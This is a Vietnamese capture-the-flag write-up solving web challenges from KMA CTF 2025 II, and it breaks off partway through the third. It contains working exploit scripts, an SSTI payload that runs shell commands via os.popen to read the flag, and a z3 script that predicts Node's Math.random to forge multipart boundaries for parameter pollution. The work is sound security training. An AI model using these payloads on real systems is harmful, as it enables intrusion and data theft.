# KMA CTF 2025 II Giải KMA CTF 2025 lần II vừa qua đã diễn ra rất thành công, mang lại cho mình những bài học mà mình tự nhắc bản thân sẽ phải ghi nhớ mãi. Trong khoảng thời gian 8 tiếng căng thẳng của cuộc thi, mình chỉ giải được 4/5 challenges thuộc mảng web. Trong bài viết này, mình sẽ viết lại cách giải các challenges mà mình đã làm được trong lúc diễn ra cuộc thi và cả challenge mà mình làm được sau khi kết thúc giải. Một số challenges có hướng giải unintended mình cũng sẽ đề cập thêm. Bắt đầu thôi nào! 🔥 ![image](https://hackmd.io/_uploads/HJaInpI3el.png) ## YDSYD > You don't solve, you die > > author: **meulody** > > https://ydsyd.wargame.vn > > [ydsyd.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/ydsyd.zip) ### Solution ![image](https://hackmd.io/_uploads/ByrnwG52ge.png) Ở thử thách đầu tiên này, hướng intended sẽ là khai thác lỗ hổng Prototype Pollution để có thể lấy được flag. Tuy nhiên, trong lúc thi, mình đã làm theo hướng unintended nên mới lụm first blood. 🩸 Sau khi tải file challenge về và giải nén, chúng ta sẽ có 02 files như bên dưới: ```text ydsyd ├── app.ts └── docker-compose.yml ``` Theo thói quen, mình sẽ đọc file `docker-compose.yml` đầu tiên để biết có bao nhiêu service được sử dụng. Từ đó, có một cái nhìn tổng quát về challenge. Chúng ta thấy chỉ có duy nhất một service là `ctf-bun`, sử dụng [Bun](https://bun.com) để chạy một web viết bằng TypeScript. Và chúng ta sẽ truy cập được vào server thông qua port `50002`, port này sẽ map với port `3000` của service đã mở trong container: ```yaml version: '3.9' services: ctf-bun: restart: unless-stopped build: context: . dockerfile_inline: | FROM oven/bun:latest WORKDIR /app RUN bun add jose COPY app.ts . EXPOSE 3000 CMD ["bun", "run", "app.ts"] ports: - "50002:3000" ``` Tại file `app.ts` cho chúng ta biết rõ cách server xử lý request. Server có 02 endpoints là `/login` và `/annyeong`. Tại endpoint `/login`, lấy tên người dùng `user` từ request body (<font color="orange">line 21-22</font>), nếu người dùng đó tồn tại (là key của object `users`) thì sẽ tạo ra một token JWT (<font color="orange">line 26</font>) và trả về trong response. Rõ ràng, chúng ta thấy ngay là có thể đăng nhập với người dùng tuỳ ý, ở đây có thể đăng nhập với `admin` và nhận về token JWT của admin: ```ts= const users = { alice: { configProto: {}, config: Object.create({}), isAdmin: false }, bob: { configProto: {}, config: Object.create({}), isAdmin: false }, admin: { configProto: {}, config: Object.create({}), isAdmin: true }, }; [...] async function generateToken(username: string, isAdmin = false) { return await new SignJWT({ user: username, isAdmin }) .setProtectedHeader({ alg: "HS256" }) .setIssuedAt() .setExpirationTime("1h") .sign(secretKey); } [...] if (url.pathname === "/login" && request.method === "POST") { try { const body = await request.json(); const user = body.user; if (!user || !users[user]) { return new Response("User not found", { status: 404 }); } const token = await generateToken(user, users[user].isAdmin); return new Response(JSON.stringify({ token }), { status: 200, headers: { "Content-Type": "application/json" }, }); } catch { return new Response("Invalid JSON", { status: 400 }); } } ``` Tại endpoint `/annyeong`, khi chúng ta gửi POST request, nếu là admin (`isAdmin`) thì sẽ nhận được flag: ```ts= const flag = "KMACTF{hehe}"; function getFlagGetter() { return function () { return flag; }; } const flagGetter = getFlagGetter(); [...] async function authenticate(request: Request) { const authHeader = request.headers.get("authorization"); if (!authHeader || !authHeader.startsWith("Bearer ")) return null; const token = authHeader.slice(7); try { const { payload } = await jwtVerify(token, secretKey, { algorithms: ["HS256"], }); if (payload && typeof payload.user === "string" && users[payload.user]) { return { username: payload.user as string, isAdmin: payload.isAdmin === true, }; } } catch {} return null; } [...] const auth = await authenticate(request); if (!auth) return new Response( "Unauthorized. Use POST /login then POST /annyeong with Bearer token", { status: 401 } ); const username = auth.username; const isAdmin = auth.isAdmin; const userInfo = users[username]; if (!Object.getPrototypeOf(userInfo.config)) { Object.setPrototypeOf(userInfo.config, userInfo.configProto); if (!userInfo.config.user) userInfo.config.user = { name: username }; } [...] if (url.pathname === "/annyeong" && request.method === "POST") { try { const data = await request.json(); merge(userInfo.configProto, data); if (isAdmin) { return new Response(flagGetter(), { status: 200 }); } const template = "{{name}} says hello"; const result = sandboxTemplate(template, userInfo.config.user); return new Response(result, { status: 200 }); } catch { return new Response("Invalid JSON or sandbox error", { status: 400 }); } } ``` Do server không ngăn chặn chúng ta đăng nhập với `admin` nên flow khai thác đơn giản là đăng nhập với `user` là `admin`: ![image](https://hackmd.io/_uploads/SyjTm1A3eg.png) Từ token có được, thêm vào header `Authorization` và gửi POST request tới `/annyeong` để lấy flag: ![image](https://hackmd.io/_uploads/Hkh3m102gx.png) Script khai thác: ```python= import requests URL = "https://ydsyd.wargame.vn" def login(user): r = requests.post(url=f"{URL}/login", json={"user": user}) return r.json()["token"] def get_flag(token): r = requests.post( url=f"{URL}/annyeong", headers={"Authorization": f"Bearer {token}"}, json={}, ) return r.text if __name__ == "__main__": token = login("admin") print(f"[+] FLAG: {get_flag(token)}") ``` ### Flag `KMACTF{Y1u__50lv3d_Y0u_L1ved??<3}` ## vibe_coding > Note: Nếu chắc chắn solution của bạn đúng hãy mở ticket > > http://165.22.55.200:50004 > > [vibe-coding.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/vibe-coding.zip) ### Solution - Unintended ![image](https://hackmd.io/_uploads/H1AYwzc2el.png) Cấu trúc thư mục của challenge như sau: ``` vibe_coding ├── docker-compose.yml ├── nodejs-server │ ├── Dockerfile │ ├── index.js │ └── package.json └── python-server ├── Dockerfile ├── main.py └── requirements.txt ``` Cùng xem file `docker-compose.yml` trước, có 02 services là `nodejs-server` và `python-server`. Chúng ta chỉ có thể truy cập vào `nodejs-server` thông qua port `3000`, từ đó tương tác với service `python-server`: ```yaml= version: '3.8' services: nodejs-server: build: context: ./nodejs-server dockerfile: Dockerfile container_name: ctf-nodejs-server environment: - PORT=3000 - JWT_SECRET=randomsecretkey - PYTHON_SERVER=http://python-server:8080 ports: - "3000:3000" depends_on: - python-server networks: - ctf-network restart: unless-stopped python-server: build: context: ./python-server dockerfile: Dockerfile container_name: ctf-python-server environment: - PORT=8080 - FLAG=KMACTF{REDACTED} networks: - ctf-network restart: unless-stopped networks: ctf-network: driver: bridge ``` Tiếp tới file `main.py`, Python server sử dụng Flask, có 03 routes xử lý chính là `/execute`, `/health` và `/`. Ở đây mình tập trung vào route `/execute` bởi nó quyết định chúng ta có thể nhận flag hay không. Có thể thấy, `username` và `action` được lấy từ request body rồi được xử lý thông qua hàm `process_action(username, action)` (<font color="orange">line 46</font>), nếu `action` là `readFlag` và `username` là `admin` thì chúng ta lụm được flag: ```python= def process_action(username, action): """Process different actions""" if action == "foo": return "bar", "Action 'foo' executed successfully", None elif action == "readFlag": if username == "admin": return FLAG, "Flag retrieved successfully - you are admin!", None else: return "Access denied", f"Flag access denied for user '{username}' - admin privileges required", None else: return None, "", f"unknown action: {action}. Available actions: foo, readFlag" [...] @app.route('/execute', methods=['POST']) def execute_handler(): """Handle execute requests from Node.js server""" try: # Check if request has form data if not request.form: return send_error_response( "Form parsing failed", "No form data found in request", 400 ) # Extract form values username = request.form.get('username', '').strip() request_id = request.form.get('requestid', '').strip() action = request.form.get('action', '').strip() # Log request for debugging logger.info(f"Received request - Username: {username}, RequestID: {request_id}, Action: {action}") # Validate required fields if not username or not request_id or not action: return send_error_response( "Missing required fields", "username, requestid, and action are required", 400 ) # Process action result, message, error = process_action(username, action) if error: return send_error_response("Action processing failed", error, 400) # Send success response response = { "requestid": request_id, "action": action, "result": result, "username": username, "timestamp": get_timestamp(), "message": message } return jsonify(response), 200 except Exception as e: logger.error(f"Execute handler error: {str(e)}") return send_error_response( "Internal server error", str(e), 500 ) ``` Tiếp tới Node.js server Express.js, tại file `index.js`, chúng ta biết server sẽ có 04 routes chính là `/`, `/register`, `/login` và `/health`. Tại route `/register`, server nhận `username` và `password` từ request body, bắt buộc phải có đủ 2 trường dữ liệu đó và kiểu dữ liệu phải là `string`, `username` phải có nhiều hơn 5 ký tự. Nếu thoả mãn sẽ lưu thông tin vào object `users` với key là `username` (<font color="orange">line 34-39</font>): ```js= const users = {}; [...] app.post('/register', async (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ error: 'Username and password are required' }); } if( typeof username !== 'string' || typeof password !== 'string' ) { return res.status(400).json({ error: 'Username and password must be strings' }); } // Validate username length (must be > 5 characters) if (username.length <= 5) { return res.status(400).json({ error: 'Username must be longer than 5 characters' }); } if (users[username]) { return res.status(400).json({ error: 'User already exists' }); } try { const hashedPassword = await bcrypt.hash(password, 10); users[username] = { username, password: hashedPassword, createdAt: new Date().toISOString() }; res.json({ message: 'User registered successfully', username: username, hint: 'Now you can login to get JWT token' }); } catch (error) { res.status(500).json({ error: 'Registration failed', message: error.message }); } }); ``` Tại route `/login`, server cũng sẽ lấy 2 trường thông tin là `username` và `password` từ request body. Sau đó kiểm tra xem key `username` có tồn tại trong object `users` hay không (<font color="orange">line 16-21</font>). Nếu tồn tại người dùng và mật khẩu trùng khớp (<font color="orange">line 24-28</font>), chúng ta sẽ đăng nhập thành công và nhận được JWT token (<font color="orange">line 41-46</font>): ```js= app.post('/login', async (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.status(400).json({ error: 'Username and password are required' }); } if(typeof username !== 'string' || typeof password !== 'string') { return res.status(400).json({ error: 'Username and password must be strings' }); } const user = users[username]; if (!user) { return res.status(401).json({ error: 'Invalid credentials' }); } try { const validPassword = await bcrypt.compare(password, user.password); if (!validPassword) { return res.status(401).json({ error: 'Invalid credentials' }); } // Create JWT token const token = jwt.sign( { username: user.username, iat: Math.floor(Date.now() / 1000) }, JWT_SECRET, { expiresIn: '24h' } ); res.json({ message: 'Login successful', token: token, username: user.username, hint: 'Use this token in Authorization: Bearer <token> header' }); } catch (error) { res.status(500).json({ error: 'Login failed', message: error.message }); } }); ``` Nếu có một token JWT hợp lệ, chúng ta có thể truy cập vào route `/action`, cung cấp action trong request body và gửi request tới Python server. Ở đây, dữ liệu được Node.js server gửi tới Python server bao gồm `requestid`, `action` và `username` (<font color="orange">line 44-47</font>): ```js= const authenticateToken = (req, res, next) => { const authHeader = req.headers['authorization']; const token = authHeader && authHeader.split(' ')[1]; if (!token) { return res.status(401).json({ error: 'Access token required' }); } jwt.verify(token, JWT_SECRET, (err, user) => { if (err) { return res.status(403).json({ error: 'Invalid or expired token' }); } req.user = user; next(); }); }; [...] app.post('/action', authenticateToken, async (req, res) => { const { action } = req.body; if (!action) { return res.status(400).json({ error: 'Action parameter is required', available_actions: ['foo', 'readFlag'] }); } try { // Create form data to send to Python server (to prevent param pollution) const formData = new FormData(); formData.append('requestid', req.requestId); formData.append('action', action); formData.append('username', req.user.username); console.log(`[${new Date().toISOString()}] Proxying to Python server:`, { username: req.user.username, requestId: req.requestId, action: action }); // Send request to Python server const response = await fetch(`${PYTHON_SERVER}/execute`, { method: 'POST', body: formData }); const pythonData = await response.json(); // Check if Python server returned an error if (!response.ok) { return res.status(response.status).json({ error: 'Python server error', message: pythonData.message || pythonData.error || 'Unknown error', python_response: pythonData }); } // Return response from Python server res.json({ message: 'Action executed successfully', nodejs_info: { authenticated_user: req.user.username, request_id: req.requestId, action: action }, python_response: pythonData }); } catch (error) { console.error('Error calling Python server:', error.message); res.status(500).json({ error: 'Request failed', message: error.message, details: 'Unable to connect to Python server' }); } }); ``` Như vậy, flow khai thác sẽ là tìm cách đăng nhập với người dùng `admin`, sau đó gửi POST request tới `/action` với `action` là `readFlag` để lấy flag. Do không thể đăng ký `username` là `admin` bởi vì `admin` có 5 ký tự, chúng ta cần tìm một cách nào khác. Một điểm đáng chú ý là tại route `/execute` được xử lý bởi Python server, `username` lấy từ request body được gọi tới method [strip()](https://www.w3schools.com/python/ref_string_strip.asp), method này sẽ loại bỏ đi tất cả các khoảng trắng ở đầu và cuối chuỗi, nên chúng ta có thể bypass bằng cách đăng ký `username` là `admin\n`, ` admin`, v.v. ```python= username = request.form.get('username', '').strip() ``` ```sh $ python3 Python 3.12.10 (main, Apr 8 2025, 11:35:47) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> "admin\n".strip() 'admin' >>> " admin".strip() 'admin' >>> ``` Tiến hành khai thác, mình gửi POST request tới `/register` để đăng ký tài khoản trước: ```json { "username": "admin\n", "password": "admin" } ``` ![image](https://hackmd.io/_uploads/SJYMxfc3ee.png) Đăng ký tài khoản thành công, chúng ta có thể đăng nhập tại route `/login` để lấy token JWT: ![image](https://hackmd.io/_uploads/BJDmefq2lg.png) Có được token JWT, chúng ta thêm nó vào header `Authorization` để request tới `/action` và lụm flag: ```http Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluXG4iLCJpYXQiOjE3NTkyODUxMzAsImV4cCI6MTc1OTM3MTUzMH0.AV4ZlbjOZGP9WFHlkQvmBldhA9cLu11HIPPZY_OhT0M ``` ![image](https://hackmd.io/_uploads/S1lVxfqnxe.png) Script khai thác hoàn chỉnh: ```python= import requests URL = "http://165.22.55.200:50004" def register(user): r = requests.post( url=f"{URL}/register", json={"username": user["username"], "password": user["password"]}, ) if not r.json().get("error"): print(r.json()["message"]) def login(user): r = requests.post( url=f"{URL}/login", json={"username": user["username"], "password": user["password"]}, ) return r.json()["token"] def action(action, token): r = requests.post( url=f"{URL}/action", headers={"Authorization": f"Bearer {token}"}, json={"action": action}, ) return r.json()["python_response"]["result"] if __name__ == "__main__": user = {"username": "admin" + "\n" * 10, "password": "foobar"} register(user) token = login(user) print(f"[+] FLAG: {action('readFlag', token)}") ``` ### Solution - Intended Về hướng intended, sau khi kết thúc giải mình mới ngồi làm được. Cách thức khai thác sẽ là dự đoán số random được dùng làm boundary trong request `multipart/form-data` khi gửi `fetch()`. Từ đó khai thác lỗ hổng [HTTP Parameter Pollution](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution) (HPP). Mình bắt đầu bằng việc thử gửi fetch tới requestrepo để xem request sẽ trông ra sao: ```js let form = new FormData(); form.append("requestid", "requestid"); form.append("action", "action"); form.append("username", "foobar"); fetch("https://er5n8xs5.requestrepo.com/", { method: "POST", body: form }); ``` ![image](https://hackmd.io/_uploads/H1mdMrAnxx.png) Rất bất ngờ khi chuỗi boundary có dạng `----formdata-undici-089689896837`, số ở cuối được tạo ngẫu nhiên: ![image](https://hackmd.io/_uploads/S15nMrAhlx.png) Sửa file `docker-compose.yml` một chút để thử. Mình map port `1337` tới port `8080` của service `python-server` (<font color="orange">line 6-7</font>) để có thể truy cập trực tiếp tới Python server: ```yaml= python-server: build: context: ./python-server dockerfile: Dockerfile container_name: ctf-python-server ports: - "1337:8080" environment: - PORT=8080 - FLAG=KMACTF{REDACTED} networks: - ctf-network restart: unless-stopped ``` Mình thử gửi request tới `/execute`, nhưng thêm một trường `username` với giá trị `admin` vào phía trước trường `username` ban đầu được tạo bởi server. Có thể thấy Python server sẽ lấy giá trị của trường `username` xuất hiện trước: ![image](https://hackmd.io/_uploads/H1ukNHR2ex.png) Như vậy, với giá trị của `action` chúng ta kiểm soát, hoàn toàn có khả năng khai thác lỗ hổng HPP để chèn thêm trường `username` nếu chúng ta biết được boundary. ![image](https://hackmd.io/_uploads/BynDJDA2lg.png) Mấu chốt là chúng ta cần tìm ra được số random để đưa vào `<RANDOM>`: ![image](https://hackmd.io/_uploads/BJvdJDC2ex.png) > [!Note] > Giá trị của `requestid` cũng có thể bị kiểm soát nhưng sẽ không thể dùng để khai thác HPP bởi nó không thể chứa CRLF (`\r\n`) do được lấy từ request header `x-request-id`. Vậy làm như nào để biết được chuỗi số random trong boundary? Trước đó, mình có đọc được [CVE-2025-7783](https://github.com/form-data/form-data/security/advisories/GHSA-fjxv-7rqg-78g4) của thư viện `form-data`. Nó sử dụng `Math.random()` để tạo ra boundary cho `multipart/form-data` request, giá trị random này có thể dự đoán được nếu chúng ta biết một vài giá trị random trước đó. Tìm kiếm thêm thì mình đọc được bài [report](https://hackerone.com/reports/2913312) trên HackerOne. Họ đề cập đến thư viện [undici](https://github.com/nodejs/undici) cũng sử dụng `Math.random()` để tạo ra boundary. Mà thư viện này lại được tích hợp vào Node.js v18+. 👀 Có thể thấy trong [source](https://github.com/nodejs/undici/blob/8b06b8250907d92fead664b3368f1d2aa27c1f35/lib/web/fetch/body.js#L113) của `undici`, boundary được tạo ra bằng cách nối `----formdata-undici-0` với giá trị random là chuỗi gồm 11 số, pad thêm `0` vào trước nếu số random tạo ra không đủ 11 số: ![image](https://hackmd.io/_uploads/rJKj2rC3gl.png) Theo bài report, để dự đoán giá trị tiếp theo được tạo ra bởi `Math.random()`, chúng ta cần biết một số giá trị trước đó. Thật tuyệt vời, ở challenge có hàm `generateRequestId()` thực hiện tạo ra số random y như cách mà `undici` sử dụng. Hàm này sẽ được gọi khi chúng ta gửi request **không** kèm theo header `x-request-id`: ```js const generateRequestId = () => { return Math.floor(Math.random() * 1e11) .toString() .padStart(11, "0"); }; [...] // Middleware to add requestId to all responses app.use((req, res, next) => { if (req.headers["x-request-id"]) { req.requestId = req.headers["x-request-id"]; } else { req.requestId = generateRequestId(); } // Add request ID to response headers res.setHeader("X-Request-ID", req.requestId); // Log request with ID console.log( `[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${ req.path }` ); next(); }); ``` Như vậy, flow khai thác sẽ là dự đoán giá trị của boundary sau đó khai thác HPP. Để lấy giá trị random phục vụ cho việc dự đoán boundary, có thể lấy từ response header `X-Request-ID` hoặc gửi request tới `/health` như sau: ![image](https://hackmd.io/_uploads/Bk-tTHRnge.png) > [!Important] > Khi đã đoán được giá trị của boundary tiếp theo, lúc gửi request tới `/action` cần phải thêm header `X-Request-ID` để tránh gọi hàm `generateRequestId()` ở middleware. > > Nếu không chỉ định header này, `generateRequestId()` sẽ gọi `Math.random()` để tạo ra một giá trị random nữa trước khi `fetch()` được gọi, khiến cho giá trị boundary bị thay đổi. Script khai thác theo intended: ```python= import requests import subprocess import json from base64 import b64encode URL = "http://localhost:3000" URL = "http://165.22.55.200:50004" proxy = {"http": "0:8080"} def register(user): json_data = {"username": user["username"], "password": user["password"]} r = requests.post(url=f"{URL}/register", json=json_data, proxies=proxy) if r.status_code == 200: print(f"[+] User registered: {user['username']}") def login(user): json_data = {"username": user["username"], "password": user["password"]} r = requests.post(url=f"{URL}/login", json=json_data, proxies=proxy) return r.json()["token"] def get_requestId(): sequence = [] for _ in range(10): r = requests.get( url=f"{URL}/health", proxies=proxy, ) sequence.append(r.json()["requestId"]) return sequence def predict_boundary(sequence): base64_sequence = b64encode(json.dumps(sequence).encode()).decode() predict_boundary = subprocess.run( ["python3", "predict.py", base64_sequence], check=True, capture_output=True, text=True, ).stdout return predict_boundary def execute(token, next_boundary): json_data = { "action": f'readFlag\r\n------formdata-undici-0{next_boundary.zfill(11)}\r\nContent-Disposition: form-data; name="username"\r\n\r\nadmin' } header = { "Authorization": f"Bearer {token}", "X-Request-ID": "Tranh goi ham generateRequestId()", } r = requests.post( url=f"{URL}/action", headers=header, json=json_data, proxies=proxy ) return r.json()["python_response"]["result"] if __name__ == "__main__": user = {"username": "foo" * 3, "password": "bar" * 3} register(user) token = login(user) sequence = get_requestId() next_boundary = predict_boundary(sequence) flag = execute(token, next_boundary) print(f"[+] FLAG: {flag}") ``` Nội dung của file `predict.py` trong [report.tar.xz](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/2i0sfsucc6rebgubrn8b04gc09xg?response-content-disposition=attachment%3B%20filename%3D%22report.tar.xz%22%3B%20filename%2A%3DUTF-8%27%27report.tar.xz&response-content-type=application%2Fx-xz&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQTROI563P%2F20251004%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20251004T091621Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEMD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLXdlc3QtMiJGMEQCIAGes3JR8GdjxhpgGCDh68bdcEt0Zy2kyLfK7FVExfZCAiBtp5kbQvVHkkpg%2BfXQGuYVKPvMsWQXcQAE5DXsH0Y18SqxBQhZEAMaDDAxMzYxOTI3NDg0OSIMkGHXlndBeMv1MyVvKo4Fa8SpR8GPjBZhqzvtVj2mrGd%2FCcCh6fNekxttPfBXq7NmbyuH2M7VYOIrXbsf4Q2p2vtBkw7q1w%2B%2BuC9V%2F3T3JirYsBcDOLLj6n8J6S6FHxdt1tgBwdH4jxKeqAb5wicVG6k5gJo0N18MQFGMdlw2rv6jBUUwC3EEcZPfZRy3B83P1uEQaoyp5XqfoTNKCp0mEpbh9uKOPyLJavM80bFnqQMwyy5UcHOiWUxZfAwbK4QKNNamYCUfp%2FlzlMQATeiOMAhrICjarfSuqDVyAK4Ka%2BQlqZfJs2ax%2B4vZ5Dx3hzq5irI%2BcPkXG%2BUt01lnWAF2kr9tS%2F7I5Ts%2FkrhLtEzpRCBqGjS3g06ZsfCLSrJxY0Lho89ActlqYqZBfaO2%2FPIz6jetXNFUw%2B9iiQ1ETIyAZErISxyJmVUvGCMNiWvUG4qWBKtiEGttZbXmjqSF%2BxEjEoMYIZBcvxJuh3QuvycPPJ8ob5TazUE6Ns57JpYcsxxjnB8YlGWYtk%2FOkKe9Vg05f%2Bon2X%2BtGHljVQB7orwGdTfkb5ULEB5%2BNFRSDUuYOrID%2BnddEOrdBkFgmmPla4yiRndMyDLq8S3duJXSV00Dr0Yi4pZ4DZytOGcMfhCC5xQHMyWpsXqvU2wncAgUPo8HtSwrWFp8mCVbxYzlhm7eetU5uBI%2BKXgE8ZzJgrNqXJbSzNU2QDvzjntRWlkr%2Fsgy8bzN1wPdBfub4P1k4WpFKSayXdPEft6SbyqXmKQ4RsE8aJWnTsnv32Ha0vhOgYEcj5V8pcDysVWWIrnFdQUIQIerUmIAgkzGd%2B%2BrMKYMWLU0UXStN0nS10k%2BcSQa5STpMCGjMWbXmoP3o%2F1stb9cOXmhBsGoh8QEA45Oes2AMJuog8cGOrIB%2FUyTDyXKgl1S%2FYI7YHJudMGYviDMrAqcrMdKZKC11qyEN6NBZLYj1vw44cdd5euAER6c6L9S%2BNHiUQXTWrwdfAtm2qxvr0g5U51cyqmXpoUs2wUWfa%2Bu6fKwP948vtmqI2TbujRs5SZC5CWtBAy5CfE2rPShHnNTE2YzH6p9l2UYS1q%2B5FtH7KqJIlLZs0wqrUMloXCJK7NZiyZeXKQx1K17nJzrQyKzFf8a4GYkHn4EQw%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=24716182cbd7b0ec84c1972fdb04b31638cd3afa7387703d8e878c2999aea4eb), dùng để đoán giá trị random mình lấy từ bài report [Usage of unsafe random function in undici for choosing boundary](https://hackerone.com/reports/2913312): ```python= #!/usr/bin/python3 import z3 import struct import sys import base64 import json sequence = json.loads(base64.b64decode(sys.argv[1]).decode()) sequence = sequence[::-1] solver = z3.Solver() se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64) for i in range(len(sequence)): se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 solver.add( int(sequence[i]) == ((z3.ZeroExt(64, z3.LShR(se_state0, 12)) * 1e11) >> 52) ) if solver.check() == z3.sat: model = solver.model() states = {} for state in model.decls(): states[state.__str__()] = model[state] state0 = states["se_state0"].as_long() u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000 float_64 = struct.pack("<Q", u_long_long_64) next_sequence = struct.unpack("d", float_64)[0] next_sequence -= 1 print(int(next_sequence * 1e11)) ``` ### Flag `KMACTF{how_can_you_pollute_param_@@_}` ## ACL and H1 > HTTP/1.1 phải chunk đã không còn an toàn? > > author: **chuongcd** > > http://165.22.55.200:50001 > > [acl-h1.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/acl-h1.zip) ### Solution - Unintended ![image](https://hackmd.io/_uploads/r18JwG5ngl.png) Challenge này sẽ liên quan tới khai thác lỗ hổng [HTTP request smuggling](https://portswigger.net/web-security/request-smuggling) để có thể truy cập vào internal endpoint, từ đó trigger Jinja2 SSTI. Đó là cách mình làm theo intended, còn một hướng unintended sẽ là bypass proxy Apache Traffic Server bằng cách sử dụng URL Encoding. Cấu trúc thư mục của challenge như sau: ```text ACL_H1 ├── backend │ ├── app.py │ ├── Dockerfile │ ├── flag.txt │ ├── gunicorn.conf.py │ ├── requirements.txt │ ├── static │ │ └── assets │ │ ├── ATS.png │ │ ├── gunicorn.jpg │ │ └── hint.png │ ├── templates │ │ ├── files.html │ │ ├── index.html │ │ └── upload.html │ └── uploads ├── docker-compose.yml └── proxy ├── Dockerfile ├── records.yaml └── remap.config ``` Cùng xem file `docker-compose.yml`, có 02 services được sử dụng là `gunicorn-server` và `ats-proxy`. `ats-proxy` sẽ đóng vai trò là một reverse proxy, expose port `8188` để chúng ta có thể truy cập từ bên ngoài vào. Reverse proxy này sẽ forward request tới `gunicorn-server` chạy trên port `8088`: ```yaml services: gunicorn-server: build: context: ./backend dockerfile: Dockerfile container_name: gunicorn-server expose: - "8088" networks: - internal-network ats-proxy: build: context: ./proxy dockerfile: Dockerfile container_name: ats-proxy ports: - "8188:8080" depends_on: - gunicorn-server networks: - internal-network - default networks: internal-network: driver: bridge internal: true ``` Đọc file `app.py` để hiểu cách server xử lý request. Server định nghĩa 05 routes, đó là `/`, `/upload`, `/uploads/<folder>/<filename>`, `/files` và `/render`. Route `/upload`, cho phép tải lên file có extension là `txt` hoặc `html` và được lưu trữ tại folder có dạng `uploads/<HEX(uuidv4)>/`, tên file cũng sẽ được đổi thành 16 ký tự hex random (<font color="orange">line 34-38</font>): ```python= BASE_UPLOAD_FOLDER = 'uploads' [...] ALLOWED_EXTENSIONS = {'txt', 'html'} def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS [...] @app.before_request def log_request_info(): logger.info(f"REQUEST: {request.method} {request.path}") if 'folder' not in session: folder_name = uuid.uuid4().hex session['folder'] = folder_name session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder_name) os.makedirs(session_folder_path, exist_ok=True) else: session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, session['folder']) app.config['UPLOAD_FOLDER'] = session_folder_path [...] @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: return "No file part" file = request.files['file'] if file.filename == '': return "No selected file" if file and allowed_file(file.filename): ext = file.filename.rsplit('.', 1)[1].lower() random_str = uuid.uuid4().hex[:16] filename = f"{random_str}.{ext}" filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) file.save(filepath) return f"File uploaded successfully! Path: {filepath} <a href='/files'>See all files</a>" return "File type not allowed" return render_template("upload.html") ``` Route `/uploads/<folder>/<filename>` cho phép đọc nội dung của file tải lên với tên `folder` và `filename` chúng ta truyền vào path: ```python= @app.route('/uploads/<folder>/<filename>') def download_file(folder, filename): folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder) return send_from_directory( folder_path, filename, mimetype='text/plain', as_attachment=False ) ``` Route `/render` này thực hiện render ra nội dung của file truyền vào qua tham số `filepath`. Tuy nhiên, do sử dụng hàm `render_template_string()` nên tại đây tồn tại lỗ hổng Jinja2 SSTI. Đây sẽ là sink để chúng ta có thể RCE đọc flag: ```python= # Internal access to render @app.route('/render') def render_file(): filepath = request.args.get("filepath", "") if not os.path.isfile(filepath): return "File not found", 404 with open(filepath) as f: content = f.read() return render_template_string(f"<pre>{ content }</pre>") ``` Tiếp đến proxy, `Dockerfile` cho chúng ta biết proxy sử dụng [Apache Traffic Server](https://trafficserver.apache.org): ```dockerfile! FROM trafficserver/trafficserver:10.0.4 COPY remap.config /opt/etc/trafficserver/remap.config COPY records.yaml /opt/etc/trafficserver/records.yaml EXPOSE 8188 CMD ["traffic_server", "-K"] ``` Proxy được cấu hình để chặn truy cập vào endpoint `/render` khi sử dụng request method `POST` hoặc `GET`: ```config map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get map / http://gunicorn-server:8088/ ``` Nếu gửi request method khác, ví dụ như `OPTIONS`, chúng ta cũng không thể truy cập vào route `/render` trên server do proxy forward tới `/internal`. 👀 ![image](https://hackmd.io/_uploads/S11Ubm5ngg.png) Trong lúc thi, mình có 2 ý tưởng: - Khai thác HTTP Request Smuggling để gửi được request tới `/render` mà không bị proxy chặn. - Bypass proxy bằng cách sử dụng thêm dấu `/`, ví dụ như `//render`. Tuy nhiên, mình thử theo ý tưởng 2 không thành công nên đã giải challenge theo ý tưởng thứ nhất. Sau khi kết thúc giải mình mới biết hướng unintended là encode URL dấu `/` thành `%2f` để truy cập được vào `/render`. Vì hướng unintended này làm nhanh hơn nên mình trình bày cách làm theo hướng này trước. Trước tiên, chúng ta cần tải lên file với extension là `html` hoặc `txt`, ở đây mình đặt là `exploit.html`, bên trong chứa payload SSTI: ```html {{ lipsum.__globals__.os.popen('cat /f*').read() }} ``` ![image](https://hackmd.io/_uploads/rJ8__mcheg.png) Truy cập vào route `/render` để trigger SSTI, cần encode URL dấu `/` thành `%2f`, truyền đường dẫn tới file vừa tải lên vào tham số `filepath`: ![image](https://hackmd.io/_uploads/SJImK79hee.png) Mình có thử encode URL ký tự trong `render` thì cũng vẫn bypass được, bên dưới là encode ký tự 